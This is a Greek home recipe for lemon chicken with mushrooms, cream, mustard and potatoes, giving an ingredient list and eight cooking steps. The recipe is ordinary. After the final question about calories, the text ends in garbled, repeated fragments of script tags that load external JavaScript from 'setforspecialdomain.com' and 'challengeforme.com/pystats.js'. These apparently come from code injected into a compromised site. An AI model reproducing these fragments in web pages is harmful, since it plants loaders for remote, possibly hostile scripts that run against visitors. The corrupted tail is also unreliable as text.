Η συνταγή της ημέρας: Λεμονάτο κοτόπουλο με πατάτες κατσαρόλας

Η αγαπημένη συνταγή της μανούλας που περνάει στην οικογένεια από γενιά σε γενιά και με τόση νοστιμιά θα συνεχίσει το ταξίδι της για αιώνες.

 Τι θα χρειαστούμε :

1 κοτόπουλο κομμένο σε μέτρια κομμάτια φιλεταρισμένο

1/3 πιπεριά

½ καρότο

1 ξερό κρεμμύδι

1 σκελίδα σκόρδο

1 κονσέρβα μανιτάρια

1 μικρή κρέμα γάλακτος

Μουστάρδα

1 + ½ Λεμόνι

Πως θα το φτιάξουμε :

1) Τσιγαρίζουμε πρώτα το κοτόπουλο και μετά το κρεμμύδι ,το σκόρδο, τη πιπεριά και το καρότο τα οποία τα έχουμε χτυπήσει στο Multi πρώτα.

2) Σβήνουμε με το λεμόνι κ προσθέτουμε νερό μέχρι να καλύψει το κοτόπουλο και λίγο παραπάνω.

3) Αφού πάρει μία βράση το αφήνουμε στη χύτρα για ένα μισάωρο μέχρι να γίνει καλά.

4)Τηγανίζουμε τις πατάτες σε μεγάλους κύβους

5) Μετά βάζουμε για άλλα δέκα λεπτά τα μανιτάρια.

6)Όταν γίνουν παίρνουμε λίγο ζουμί κ το ανακατεύουμε με αρκετή μουστάρδα και μισή κούπα κρέμα γάλακτος και λίγο λεμόνι ακόμα να θέλουμε.

7)Ρίχνουμε το μίγμα στο φαγητό και  βράζουμε για ένα πεντάλεπτο ακόμα.

8) Τέλος ρίχνουμε τις πατάτες στο φαγητό να βράσουν και αυτές 5 λεπτά.

( Αν η σάλτσα είναι πολύ αραιή γεμίζουμε μια κούπα με αυτή κ διαλύουμε 1 κουταλιά της σούπας κορν φλάουρ ή αλεύρι κ το ρίχνουμε στο φαγητό ανακατεύοντας καλά,μπορεί να γίνει κ με ψαρονέφρι ή χοιρινό ή μοσχάρι)

Πόσες θερμίδες έχει;;;___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >